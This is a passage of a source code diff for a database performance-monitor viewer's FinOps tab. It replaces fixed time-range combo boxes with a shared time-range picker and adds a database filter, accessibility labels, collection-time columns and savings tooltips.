-        _ => 30
-    };
+        if (FinOpsObjectHeatmapWindowCombo is null)
+        {
+            return 30;
+        }
+
+        var now = DateTime.UtcNow;
+        var (startUtc, _, _) = ViewerTimeRangeWindow.Window(FinOpsObjectHeatmapWindowCombo.Value, now, ViewerTimeHelper.CurrentDisplayZone());
+        return Math.Max(1, (int)Math.Ceiling((now - startUtc).TotalDays));
+    }
 
     /// <summary>Refresh-aware load: reloads whichever drill level is currently showing (server tab timer / Refresh).</summary>
     private async Task LoadFinOpsStorageGrowthActiveAsync()
@@ -71,7 +78,7 @@ private async Task LoadFinOpsStorageGrowthActiveAsync()
 
     private async Task LoadFinOpsStorageGrowthAsync()
     {
-        var data = await _dataService.GetStorageGrowthAsync(_server.ServerId);
+        var data = await _dataService.GetStorageGrowthAsync(_server.ServerId, SelectedDatabaseFilter);
         _finopsStorageGrowthFilterMgr!.UpdateData(data);
         FinOpsNoStorageGrowthMessage.Visibility = data.Count == 0 ? Visibility.Visible : Visibility.Collapsed;
         FinOpsStorageGrowthCountIndicator.Text = data.Count > 0 ? $"{data.Count} database(s)" : "";
@@ -131,7 +138,7 @@ private void FinOpsStorageGrowthBack_Click(object sender, RoutedEventArgs e)
             ShowFinOpsStorageView(FinOpsStorageDrillLevel.Parent);
     }
 
-    private async void FinOpsObjectHeatmapWindow_Changed(object sender, SelectionChangedEventArgs e)
+    private async void FinOpsObjectHeatmapWindow_Changed(object? sender, TimeRangeChangedEventArgs e)
     {
         if (!IsLoaded) return;
         if (_finopsStorageLevel != FinOpsStorageDrillLevel.Objects || string.IsNullOrEmpty(_finopsObjDrillDb)) return;
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Recommendations.cs b/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Recommendations.cs
index 8edaf19f4f..84cba63551 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Recommendations.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Recommendations.cs
@@ -25,8 +25,11 @@ public partial class FinOpsTab
     /// <summary>Reads the collected recommendations for this server and repaints the grid + count indicator.</summary>
     private async Task LoadFinOpsRecommendationsAsync()
     {
-        var data = await _dataService.GetRecommendationsAsync(_server.ServerId, _server.MonthlyCostUsd);
+        var (data, skippedNote) = await _dataService.GetRecommendationsWithNoteAsync(_server.ServerId, _server.MonthlyCostUsd);
 
+        /* #5558: databases this server holds only as an Availability Group secondary copy are left to the primary's findings. */
+        FinOpsRecommendationsSecondaryNote.Text = skippedNote ?? "";
+        FinOpsRecommendationsSecondaryNote.Visibility = skippedNote is null ? Visibility.Collapsed : Visibility.Visible;
         _finopsRecommendationsFilterMgr!.UpdateData(data);
         FinOpsRecommendationsNoDataMessage.Visibility = data.Count == 0 ? Visibility.Visible : Visibility.Collapsed;
         FinOpsRecommendationsCountIndicator.Text = data.Count > 0
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.xaml b/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.xaml
index 3be34f1e3a..99db5904ee 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.xaml
+++ b/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.xaml
@@ -255,10 +255,17 @@
             <TextBlock Text="Server:" VerticalAlignment="Center" Foreground="{DynamicResource ForegroundMutedBrush}" Margin="0,0,6,0"/>
             <ComboBox x:Name="ServerSelector" Width="260" VerticalAlignment="Center"
                       Style="{StaticResource DarkCombo}"
+                      AutomationProperties.Name="Server"
                       SelectionChanged="ServerSelector_SelectionChanged">
+                <!-- A screen reader announces each item (and the selection) by the server's name, not the model's type name. -->
+                <ComboBox.ItemContainerStyle>
+                    <Style TargetType="ComboBoxItem" BasedOn="{StaticResource DarkComboItem}">
+                        <Setter Property="AutomationProperties.Name" Value="{Binding PickerLabel, Mode=OneTime}"/>
+                    </Style>
+                </ComboBox.ItemContainerStyle>
                 <ComboBox.ItemTemplate>
                     <DataTemplate>
-                        <TextBlock Text="{Binding DisplayName}"/>
+                        <TextBlock Text="{Binding PickerLabel}"/>
                     </DataTemplate>
                 </ComboBox.ItemTemplate>
             </ComboBox>
@@ -268,6 +275,8 @@
         </StackPanel>
 
         <Grid Grid.Row="1">
+            <!-- The one line a PostgreSQL target gets in place of a single-server sub-tab (FinOpsServerChoice). It sits behind the sub-tab control, whose content is collapsed while it shows. -->
+            <TextBlock x:Name="FinOpsNotCollectedText" Style="{StaticResource EmptyHint}"/>
             <TabControl x:Name="FinOpsSubTabControl" Background="Transparent" BorderThickness="0"
                         ItemContainerStyle="{DynamicResource SubTabItemStyle}"
                         SelectionChanged="FinOpsSubTabs_SelectionChanged">
@@ -454,7 +463,7 @@
                                         </DataGrid>
                                     </GroupBox>
                                 </Grid>
-                                <GroupBox Grid.Row="1" Header="Database Sizes — Allocated vs Used" Margin="10,8,10,10" Foreground="{DynamicResource ForegroundBrush}">
+                                <GroupBox x:Name="FinOpsDbSizeChartGroup" Grid.Row="1" Header="Database Sizes — Allocated vs Used" Margin="10,8,10,10" Foreground="{DynamicResource ForegroundBrush}">
                                     <DockPanel>
                                         <TextBlock x:Name="FinOpsDbSizeChartCaption" DockPanel.Dock="Bottom" Visibility="Collapsed" Margin="8,2,8,4" TextWrapping="Wrap" FontSize="11.5" FontStyle="Italic" Foreground="{DynamicResource ForegroundMutedBrush}"/>
                                         <ItemsControl x:Name="FinOpsDbSizeChart" Margin="8,4,8,4" Grid.IsSharedSizeScope="True">
@@ -495,9 +504,7 @@
                         <Grid.RowDefinitions><RowDefinition Height="Auto"/><RowDefinition Height="*"/></Grid.RowDefinitions>
                         <StackPanel Grid.Row="0" Orientation="Horizontal" Margin="10,8" Height="36">
                             <TextBlock Text="Database Resource Usage" VerticalAlignment="Center" Margin="0,0,10,0" FontWeight="Bold" FontSize="14" Foreground="{DynamicResource ForegroundBrush}"/>
-                            <ComboBox x:Name="FinOpsResourceUsageTimeRangeCombo" SelectedIndex="3" Width="120" Margin="0,0,8,0" SelectionChanged="FinOpsResourceUsageTimeRange_Changed">
-                                <ComboBoxItem Content="Last 1 hour"/><ComboBoxItem Content="Last 4 hours"/><ComboBoxItem Content="Last 12 hours"/><ComboBoxItem Content="Last 24 hours"/><ComboBoxItem Content="Last 7 days"/>
-                            </ComboBox>
+                            <ui:TimeRangePicker x:Name="FinOpsResourceUsageTimeRangeCombo" Compact="True" VerticalAlignment="Center" RangeChanged="FinOpsResourceUsageTimeRange_Changed"/>
                             <Button Content="Refresh" Click="FinOpsRefreshDatabaseResources_Click" Margin="4,0,0,0" Padding="10,4" MinWidth="70"/>
                             <TextBlock x:Name="FinOpsDbResourcesCountIndicator" Text="" Margin="12,0,0,0" VerticalAlignment="Center" FontStyle="Italic" Foreground="{DynamicResource AccentBrush}" FontWeight="SemiBold"/>
                         </StackPanel>
@@ -532,9 +539,7 @@
                             <Button Content="Refresh" Click="FinOpsRefreshStorageGrowth_Click" Margin="12,0,0,0" Padding="10,4" MinWidth="70"/>
                             <TextBlock x:Name="FinOpsStorageGrowthCountIndicator" Text="" Margin="12,0,0,0" VerticalAlignment="Center" FontStyle="Italic" Foreground="{DynamicResource AccentBrush}" FontWeight="SemiBold"/>
                             <TextBlock Text="Window:" VerticalAlignment="Center" Margin="16,0,6,0" FontSize="11" x:Name="FinOpsObjectHeatmapWindowLabel" Visibility="Collapsed" Foreground="{DynamicResource ForegroundMutedBrush}"/>
-                            <ComboBox x:Name="FinOpsObjectHeatmapWindowCombo" Visibility="Collapsed" SelectedIndex="1" Width="120" FontSize="11" Padding="4,2" SelectionChanged="FinOpsObjectHeatmapWindow_Changed">
-                                <ComboBoxItem Content="Last 7 days"/><ComboBoxItem Content="Last 30 days"/><ComboBoxItem Content="Last 90 days"/>
-                            </ComboBox>
+                            <ui:TimeRangePicker x:Name="FinOpsObjectHeatmapWindowCombo" Compact="True" Visibility="Collapsed" VerticalAlignment="Center" RangeChanged="FinOpsObjectHeatmapWindow_Changed"/>
                         </StackPanel>
                         <Grid Grid.Row="1" Margin="10,0,10,10">
                             <Grid x:Name="FinOpsStorageParentView">
@@ -542,8 +547,8 @@
                                     <DataGrid.Columns>
                                         <DataGridTextColumn Binding="{Binding DatabaseName}" Width="180"><DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="DatabaseName" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Database" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header></DataGridTextColumn>
                                         <DataGridTextColumn Binding="{Binding CurrentSizeMb, StringFormat=N2}" Width="120" ElementStyle="{StaticResource NumericCell}"><DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CurrentSizeMb" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Current Size MB" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header></DataGridTextColumn>
-                                        <DataGridTextColumn Binding="{Binding Size7dAgoMb, StringFormat=N2}" Width="120" ElementStyle="{StaticResource NumericCell}"><DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="Size7dAgoMb" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Size 7d Ago MB" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header></DataGridTextColumn>
-                                        <DataGridTextColumn Binding="{Binding Size30dAgoMb, StringFormat=N2}" Width="120" ElementStyle="{StaticResource NumericCell}"><DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="Size30dAgoMb" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Size 30d Ago MB" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header></DataGridTextColumn>
+                                        <DataGridTextColumn Binding="{Binding Size7dAgoMb, StringFormat=N2, TargetNullValue='n/a'}" Width="120"><DataGridTextColumn.ElementStyle><Style TargetType="TextBlock" BasedOn="{StaticResource NumericCell}"><Setter Property="ToolTip" Value="{Binding Size7dAgoNote}"/></Style></DataGridTextColumn.ElementStyle><DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="Size7dAgoMb" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Size 7d Ago MB" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header></DataGridTextColumn>
+                                        <DataGridTextColumn Binding="{Binding Size30dAgoMb, StringFormat=N2, TargetNullValue='n/a'}" Width="120"><DataGridTextColumn.ElementStyle><Style TargetType="TextBlock" BasedOn="{StaticResource NumericCell}"><Setter Property="ToolTip" Value="{Binding Size30dAgoNote}"/></Style></DataGridTextColumn.ElementStyle><DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="Size30dAgoMb" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Size 30d Ago MB" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header></DataGridTextColumn>
                                         <DataGridTextColumn Binding="{Binding Growth7dMb, StringFormat=N2, TargetNullValue='n/a'}" Width="110" ElementStyle="{StaticResource NumericCell}"><DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="Growth7dMb" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Growth 7d MB" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header></DataGridTextColumn>
                                         <DataGridTextColumn Binding="{Binding Growth30dMb, StringFormat=N2, TargetNullValue='n/a'}" Width="110" ElementStyle="{StaticResource NumericCell}"><DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="Growth30dMb" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Growth 30d MB" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header></DataGridTextColumn>
                                         <DataGridTextColumn Binding="{Binding DailyGrowthRateMb, StringFormat=N2, TargetNullValue='n/a'}" Width="100" ElementStyle="{StaticResource NumericCell}"><DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="DailyGrowthRateMb" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Daily Rate MB" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header></DataGridTextColumn>
@@ -596,6 +601,8 @@
                                         <DataGridTextColumn Header="Total Reads" Binding="{Binding TotalReads, StringFormat=N0}" Width="100" ElementStyle="{StaticResource NumericCell}"/>
                                         <DataGridTextColumn Header="Updates" Binding="{Binding UserUpdates, StringFormat=N0}" Width="100" ElementStyle="{StaticResource NumericCell}"/>
                                         <DataGridTextColumn Header="Last Access" Binding="{Binding LastUserAccess, StringFormat=\{0:yyyy-MM-dd HH:mm\}}" Width="140"/>
+                                        <!-- One snapshot for every row; a column rather than a label keeps this grid's time where every other snapshot grid has it. -->
+                                        <DataGridTextColumn Header="Collected" Binding="{Binding CollectionTime}" Width="150" SortMemberPath="CollectionTimeUtc"/>
                                     </DataGrid.Columns>
                                 </DataGrid>
                                 <TextBlock x:Name="FinOpsObjectIndexNoDataMessage" Style="{StaticResource EmptyHint}" Text="No index detail for this object."/>
@@ -664,7 +671,7 @@
                     <Grid>
                         <Grid.RowDefinitions><RowDefinition Height="Auto"/><RowDefinition Height="*"/></Grid.RowDefinitions>
                         <StackPanel Grid.Row="0" Orientation="Horizontal" Margin="10,8" Height="36">
-                            <TextBlock Text="Database Sizes" VerticalAlignment="Center" Margin="0,0,10,0" FontWeight="Bold" FontSize="14" Foreground="{DynamicResource ForegroundBrush}"/>
+                            <TextBlock Text="{Binding ElementName=ServerSelector, Path=SelectedItem.DisplayName, StringFormat='Database Sizes ({0})', FallbackValue='Database Sizes'}" VerticalAlignment="Center" Margin="0,0,10,0" FontWeight="Bold" FontSize="14" Foreground="{DynamicResource ForegroundBrush}"/>
                             <Button Content="Refresh" Click="FinOpsRefreshDatabaseSizes_Click" Margin="12,0,0,0" Padding="10,4" MinWidth="70"/>
                             <TextBlock x:Name="FinOpsDbSizeCountIndicator" Text="" Margin="12,0,0,0" VerticalAlignment="Center" FontStyle="Italic" Foreground="{DynamicResource AccentBrush}" FontWeight="SemiBold"/>
                         </StackPanel>
@@ -786,9 +793,7 @@
                                         <StackPanel Orientation="Horizontal">
                                             <TextBlock Text="Wait Stats Summary" VerticalAlignment="Center"/>
                                             <TextBlock Text="  Time Range:" VerticalAlignment="Center" Margin="12,0,4,0" FontSize="11"/>
-                                            <ComboBox x:Name="FinOpsWaitStatsTimeRangeCombo" SelectedIndex="3" Width="120" FontSize="11" SelectionChanged="FinOpsWaitStatsTimeRange_Changed">
-                                                <ComboBoxItem Content="Last 1 hour"/><ComboBoxItem Content="Last 4 hours"/><ComboBoxItem Content="Last 12 hours"/><ComboBoxItem Content="Last 24 hours"/><ComboBoxItem Content="Last 7 days"/>
-                                            </ComboBox>
+                                            <ui:TimeRangePicker x:Name="FinOpsWaitStatsTimeRangeCombo" Compact="True" VerticalAlignment="Center" RangeChanged="FinOpsWaitStatsTimeRange_Changed"/>
                                         </StackPanel>
                                     </Expander.Header>
                                     <StackPanel>
@@ -813,9 +818,7 @@
                                         <StackPanel Orientation="Horizontal">
                                             <TextBlock Text="Expensive Queries (Top 20 by CPU)" VerticalAlignment="Center"/>
                                             <TextBlock Text="  Time Range:" VerticalAlignment="Center" Margin="12,0,4,0" FontSize="11"/>
-                                            <ComboBox x:Name="FinOpsExpensiveQueriesTimeRangeCombo" SelectedIndex="3" Width="120" FontSize="11" SelectionChanged="FinOpsExpensiveQueriesTimeRange_Changed">
-                                                <ComboBoxItem Content="Last 1 hour"/><ComboBoxItem Content="Last 4 hours"/><ComboBoxItem Content="Last 12 hours"/><ComboBoxItem Content="Last 24 hours"/><ComboBoxItem Content="Last 7 days"/>
-                                            </ComboBox>
+                                            <ui:TimeRangePicker x:Name="FinOpsExpensiveQueriesTimeRangeCombo" Compact="True" VerticalAlignment="Center" RangeChanged="FinOpsExpensiveQueriesTimeRange_Changed"/>
                                         </StackPanel>
                                     </Expander.Header>
                                     <StackPanel>
@@ -869,9 +872,7 @@
                             <TextBlock Text="High Impact Queries" VerticalAlignment="Center" Margin="0,0,10,0" FontWeight="Bold" FontSize="14" Foreground="{DynamicResource ForegroundBrush}"/>
                             <Button Content="Refresh" Click="FinOpsRefreshHighImpact_Click" Margin="12,0,0,0" Padding="10,4" MinWidth="70"/>
                             <TextBlock Text="Time Range:" VerticalAlignment="Center" Margin="16,0,4,0" FontSize="11" Foreground="{DynamicResource ForegroundBrush}"/>
-                            <ComboBox x:Name="FinOpsHighImpactTimeRangeCombo" SelectedIndex="3" Width="120" FontSize="11" SelectionChanged="FinOpsHighImpactTimeRange_Changed">
-                                <ComboBoxItem Content="Last 1 hour"/><ComboBoxItem Content="Last 4 hours"/><ComboBoxItem Content="Last 12 hours"/><ComboBoxItem Content="Last 24 hours"/><ComboBoxItem Content="Last 7 days"/>
-                            </ComboBox>
+                            <ui:TimeRangePicker x:Name="FinOpsHighImpactTimeRangeCombo" Compact="True" VerticalAlignment="Center" RangeChanged="FinOpsHighImpactTimeRange_Changed"/>
                             <TextBlock x:Name="FinOpsHighImpactCountIndicator" VerticalAlignment="Center" Margin="12,0,0,0" FontStyle="Italic" Foreground="{DynamicResource AccentBrush}" FontWeight="SemiBold"/>
                         </StackPanel>
                         <TextBlock x:Name="FinOpsHighImpactNoDataMessage" Grid.Row="1" Text="No high-impact queries found for this time range." Margin="10,0" Visibility="Collapsed" Foreground="{DynamicResource ForegroundMutedBrush}" FontStyle="Italic"/>
@@ -952,6 +953,7 @@
                         <StackPanel Grid.Row="0" Orientation="Horizontal" Margin="10,8" Height="36">
                             <TextBlock Text="Server Inventory (All Servers)" VerticalAlignment="Center" Margin="0,0,10,0" FontWeight="Bold" FontSize="14" Foreground="{DynamicResource ForegroundBrush}"/>
                             <Button Content="Refresh" Click="FinOpsRefreshServerInventory_Click" Margin="12,0,0,0" Padding="10,4" MinWidth="70"/>
+                            <CheckBox x:Name="FinOpsShowRemovedCheck" Content="Show removed servers" Margin="12,0,0,0" VerticalAlignment="Center" Foreground="{DynamicResource ForegroundBrush}" ToolTip="Also list servers that were removed from the configuration" Checked="FinOpsShowRemoved_Changed" Unchecked="FinOpsShowRemoved_Changed"/>
                             <TextBlock x:Name="FinOpsServerInventoryCountIndicator" Text="" Margin="12,0,0,0" VerticalAlignment="Center" FontStyle="Italic" Foreground="{DynamicResource AccentBrush}" FontWeight="SemiBold"/>
                         </StackPanel>
                         <Grid Grid.Row="1" Margin="10,0,10,10">
@@ -1005,10 +1007,12 @@
                                     <DataGridTextColumn Header="Monitoring" Binding="{Binding MonitoringStatus}" Width="120"/>
                                     <DataGridTextColumn Header="Monthly ($)" Binding="{Binding MonthlyCost, StringFormat=N0}" Width="100" ElementStyle="{StaticResource NumericCell}"/>
                                     <DataGridTextColumn Header="Annual ($)" Binding="{Binding AnnualCost, StringFormat=N0}" Width="100" ElementStyle="{StaticResource NumericCell}"/>
-                                    <DataGridTextColumn Header="Health" Binding="{Binding HealthScore}" Width="60">
+                                    <DataGridTextColumn Header="Health" Binding="{Binding HealthScore, TargetNullValue='-'}" Width="60">
                                         <DataGridTextColumn.ElementStyle>
                                             <Style TargetType="TextBlock">
                                                 <Setter Property="HorizontalAlignment" Value="Center"/><Setter Property="FontWeight" Value="Bold"/>
+                                                <Setter Property="ToolTip" Value="{Binding HealthScoreNote}"/>
+                                                <Setter Property="Foreground" Value="#7F8C8D"/>
                                                 <Style.Triggers>
                                                     <DataTrigger Binding="{Binding HealthScoreColor}" Value="#27AE60"><Setter Property="Foreground" Value="#27AE60"/></DataTrigger>
                                                     <DataTrigger Binding="{Binding HealthScoreColor}" Value="#F39C12"><Setter Property="Foreground" Value="#F39C12"/></DataTrigger>
@@ -1099,6 +1103,8 @@
                                     <DataGridTextColumn Header="Avg Lock Wait ms" Binding="{Binding AvgLockWaitMs}" SortMemberPath="AvgLockWaitMsSort" Width="120" ElementStyle="{StaticResource NumericCell}"/>
                                     <DataGridTextColumn Header="Latch Waits" Binding="{Binding LatchWaitCount}" SortMemberPath="LatchWaitCountSort" Width="95" ElementStyle="{StaticResource NumericCell}"/>
                                     <DataGridTextColumn Header="Avg Latch Wait ms" Binding="{Binding AvgLatchWaitMs}" SortMemberPath="AvgLatchWaitMsSort" Width="130" ElementStyle="{StaticResource NumericCell}"/>
+                                    <!-- When this database's newest snapshot was collected; blank on the overall row, which spans databases. -->
+                                    <DataGridTextColumn Header="Collected" Binding="{Binding CollectionTime}" Width="150" SortMemberPath="CollectionTimeUtc"/>
                                 </DataGrid.Columns>
                             </DataGrid>
 
@@ -1132,6 +1138,7 @@
                                     <DataGridTextColumn Header="Script" Binding="{Binding Script}" Width="320">
                                         <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="ToolTip" Value="{Binding Script}"/></Style></DataGridTextColumn.ElementStyle>
                                     </DataGridTextColumn>
+                                    <DataGridTextColumn Header="Collected" Binding="{Binding CollectionTime}" Width="150" SortMemberPath="CollectionTimeUtc"/>
                                 </DataGrid.Columns>
                             </DataGrid>
 
@@ -1149,6 +1156,7 @@
                 <TabItem Header="Recommendations">
                     <Grid>
                         <Grid.RowDefinitions>
+                            <RowDefinition Height="Auto"/>
                             <RowDefinition Height="Auto"/>
                             <RowDefinition Height="*"/>
                         </Grid.RowDefinitions>
@@ -1160,7 +1168,9 @@
                             <TextBlock Text="Analyzed from collected data (no live target)." Margin="16,0,0,0" VerticalAlignment="Center" FontStyle="Italic" FontSize="11" Foreground="{DynamicResource ForegroundMutedBrush}"/>
                         </StackPanel>
 
-                        <Grid Grid.Row="1" Margin="10,0,10,10">
+                        <TextBlock x:Name="FinOpsRecommendationsSecondaryNote" Grid.Row="1" Visibility="Collapsed" TextWrapping="Wrap" Margin="10,0,10,6" FontSize="11" FontStyle="Italic" Foreground="{DynamicResource ForegroundMutedBrush}"/>
+
+                        <Grid Grid.Row="2" Margin="10,0,10,10">
                             <DataGrid x:Name="FinOpsRecommendationsDataGrid" Style="{StaticResource DarkGrid}" RowStyle="{StaticResource FinOpsRowStyle}" HorizontalScrollBarVisibility="Auto" AutoGenerateColumns="False" IsReadOnly="True">
                                 <DataGrid.Columns>
                                     <DataGridTextColumn Binding="{Binding Category}" Width="120"><DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="Category" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Category" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header></DataGridTextColumn>
@@ -1182,10 +1192,32 @@
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="Finding" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Finding" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                         <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="ToolTip" Value="{Binding Finding}"/></Style></DataGridTextColumn.ElementStyle>
                                     </DataGridTextColumn>
+                                    <!-- Detail wraps instead of running off the column edge, with the full text in a tooltip. -->
                                     <DataGridTextColumn Header="Detail" Binding="{Binding Detail}" Width="560">
-                                        <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="ToolTip" Value="{Binding Detail}"/></Style></DataGridTextColumn.ElementStyle>
+                                        <DataGridTextColumn.HeaderStyle>
+                                            <Style TargetType="DataGridColumnHeader" BasedOn="{StaticResource {x:Type DataGridColumnHeader}}">
+                                                <Setter Property="ToolTip" Value="The full finding text: what was found and why it matters. Hover a row to read it in full."/>
+                                            </Style>
+                                        </DataGridTextColumn.HeaderStyle>
+                                        <DataGridTextColumn.ElementStyle><Style TargetType="TextBlock"><Setter Property="TextWrapping" Value="Wrap"/><Setter Property="ToolTip" Value="{Binding Detail}"/></Style></DataGridTextColumn.ElementStyle>
+                                    </DataGridTextColumn>
+                                    <!-- No savings estimate (no monthly cost set for the server) reads as a dash with a tooltip naming the setting. -->
+                                    <DataGridTextColumn Header="Est. Savings ($/mo)" Binding="{Binding EstMonthlySavings, StringFormat='${0:N0}', TargetNullValue='-'}" Width="130" SortMemberPath="EstMonthlySavings">
+                                        <DataGridTextColumn.HeaderStyle>
+                                            <Style TargetType="DataGridColumnHeader" BasedOn="{StaticResource {x:Type DataGridColumnHeader}}">
+                                                <Setter Property="ToolTip" Value="Estimated monthly savings in dollars if the finding is acted on, from this server's Monthly Cost. A dash means no estimate: no monthly cost is set."/>
+                                            </Style>
+                                        </DataGridTextColumn.HeaderStyle>
+                                        <DataGridTextColumn.ElementStyle>
+                                            <Style TargetType="TextBlock" BasedOn="{StaticResource NumericCell}">
+                                                <Style.Triggers>
+                                                    <DataTrigger Binding="{Binding EstMonthlySavings}" Value="{x:Null}">
+                                                        <Setter Property="ToolTip" Value="No estimate: set this server's Monthly Cost ($) in its server settings to see estimated savings."/>
+                                                    </DataTrigger>
+                                                </Style.Triggers>
+                                            </Style>
+                                        </DataGridTextColumn.ElementStyle>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Header="Est. Savings ($/mo)" Binding="{Binding EstMonthlySavingsDisplay}" Width="130" SortMemberPath="EstMonthlySavings" ElementStyle="{StaticResource NumericCell}"/>
                                 </DataGrid.Columns>
                             </DataGrid>
 
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.xaml.cs b/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.xaml.cs
index f69857239f..1947194d28 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.xaml.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.xaml.cs
@@ -57,38 +57,80 @@ public FinOpsTab()
     {
         InitializeComponent();
 
+        /* #5562: the shared time range pickers. The old combos opened on 24 hours (the heatmap on 30 days); the pickers
+           open on the same, drawn in the display zone in force. Every FinOps read takes "hours back from now" (the heatmap
+           days), so the pickers are rolling-only in whole hours (days): no calendar period, no custom end, no span under
+           one unit (R5). A picker must never offer a range its read cannot honor. */
+        foreach (var picker in new[] { FinOpsResourceUsageTimeRangeCombo, FinOpsWaitStatsTimeRangeCombo,
+                     FinOpsExpensiveQueriesTimeRangeCombo, FinOpsHighImpactTimeRangeCombo })
+        {
+            picker.ZoneProvider = ViewerTimeHelper.CurrentDisplayZone;
+            picker.RollingUnit = RollingUnitRule.Hour;
+            picker.Value = TimeRangePresets.Find("1d")!;
+        }
+
+        FinOpsObjectHeatmapWindowCombo.ZoneProvider = ViewerTimeHelper.CurrentDisplayZone;
+        FinOpsObjectHeatmapWindowCombo.RollingUnit = RollingUnitRule.Day;
+        FinOpsObjectHeatmapWindowCombo.Value = TimeRangePresets.Find("1mo")!;
+
         /* Register the FinOps grids' column-filter managers into _filterManagers (defined below), after
            InitializeComponent so the named grids exist. Body lives in FinOpsTab.Loaders.cs. */
         InitializeFinOpsTab();
+
+        /* Headers show in full with their unit: each column is at least as wide as its own header (the fixed widths cut "Current Size M"). */
+        Loaded += (_, _) => DataGridHeaderFit.Apply(this);
     }
 
     /// <summary>The selector's currently-selected server. Entry points guard on a valid selection before any loader runs, so the loaders read this non-null.</summary>
     private DarlingServer _server => (DarlingServer)ServerSelector.SelectedItem!;
 
     /// <summary>Wires the data service. Call once, before the tab is first shown.</summary>
-    public void Initialize(ViewerDataService dataService) => _dataService = dataService;
+    public void Initialize(ViewerDataService dataService, ViewerServerStore? serverStore = null)
+    {
+        _dataService = dataService;
+        _serverStore = serverStore;
+    }
+
+    /// <summary>The shell's server store, which holds each server's saved database filter (#5312); null before <see cref="Initialize"/> or in a test.</summary>
+    private ViewerServerStore? _serverStore;
+
+    /// <summary>
+    /// #5312: the selected server's saved database filter, read from the same store the server tab's database picker writes, so the two cannot
+    /// disagree. Null when nothing is chosen: every read then keeps its unfiltered SQL and rows. Read per load, so a change made in the server
+    /// tab shows on the next refresh here.
+    /// </summary>
+    private IReadOnlyList<string>? SelectedDatabaseFilter
+    {
+        get
+        {
+            var saved = _serverStore?.GetViewFilterDatabases(_server.ServerName);
+            return saved is { Count: > 0 } ? saved.ToList() : null;
+        }
+    }
 
     /// <summary>
     /// Populates the server selector from the shell's server list (mirrors the Recommendations tab's own
-    /// selector). Suppresses SelectionChanged during population, preserving the current selection when the list
-    /// is re-supplied. The shell drives the first load once the tab becomes visible.
+    /// selector). Suppresses SelectionChanged during population. With <paramref name="keepSelection"/>, the
+    /// selector keeps its server while that server is in the list; otherwise, or once it is gone, it takes
+    /// <paramref name="sidebarServerId"/>, the shell's sidebar server, as the initial load does
+    /// (<see cref="FinOpsServerChoice.Selection"/>: the same keep-or-sidebar rule as the other pickers, but it never falls to a PostgreSQL target while a SQL Server target is listed). The shell drives the first load once the
+    /// tab becomes visible.
     /// </summary>
-    public void SetServers(IReadOnlyList<DarlingServer> servers)
+    public void SetServers(IReadOnlyList<DarlingServer> servers, int? sidebarServerId, bool keepSelection = true)
     {
         var previousId = (ServerSelector.SelectedItem as DarlingServer)?.ServerId;
 
         _populatingServers = true;
         ServerSelector.ItemsSource = servers;
